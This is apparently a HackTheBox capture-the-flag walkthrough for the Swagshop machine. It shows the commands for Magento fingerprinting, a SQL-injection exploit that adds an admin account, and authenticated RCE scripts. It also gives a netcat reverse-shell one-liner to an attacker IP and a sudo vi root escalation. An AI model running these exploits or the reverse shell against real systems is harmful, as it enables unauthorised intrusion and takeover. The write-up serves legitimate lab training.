Swagshop writeup & walkthrough

Swagshop is an easy HackTheBox Linux machine running a vulnerable Magento CMS instance. Exploitation involves Magento-specific attack chains and sudo vi privilege escalation.

Magento Exploitation – One-Click Cheatsheet

Access Path

no access => www-data => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Install MageScan & Check Version

The site runs Magento. MageScan fingerprints the exact version so we can pick matching exploits.

wget https://github.com/steverobbins/magescan/releases/download/v1.12.9/magescan.phar
chmod +x magescan.phar
mv magescan.phar /usr/local/bin/magescan
magescan scan:version http://swagshop.htb/

Exploit #1 – Change Admin creds (37977.py)

An unauthenticated SQL injection (CVE-2015-1397) in older Magento lets us insert a new admin account. After running it the admin login is forme/forme.

# Unauthenticated admin creds modification if vulnerable (<1.9.x)
searchsploit -m 37977.py
python3 37977.py http://swagshop.htb/index.php

# Default creds after exploit:
# username: forme
# password: forme

Exploit #2 – Authenticated RCE (<1.9.0)

With admin access we get code execution. Two payloads are shown; both abuse the authenticated backend to run commands.

# Use admin creds to gain RCE
method 1:
wget https://raw.githubusercontent.com/0xBruno/MagentoCE_1.9.0.1_Authenticated_RCE/main/exploit.py
python3 exploit.py http://swagshop.htb/index.php/admin
method 2 (needs some modificaitons):python3 37811.py http://swagshop.htb/index.php/admin/ "whoami"

Reverse Shell (replace with your IP)

Trigger a reverse shell through the RCE, then upgrade it to a fully interactive TTY.

nc -nvlp 4444
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [IP] 4444 > /tmp/f

# Upgrade to fully interactive TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty raw -echo; fg
export TERM=xterm

Privilege Escalation – via sudo vi

www-data can run vi as root via sudo. Per GTFOBins, we spawn a shell from inside vi to become root.

sudo -l
sudo /usr/bin/vi /var/www/html/ -c '!/bin/bash'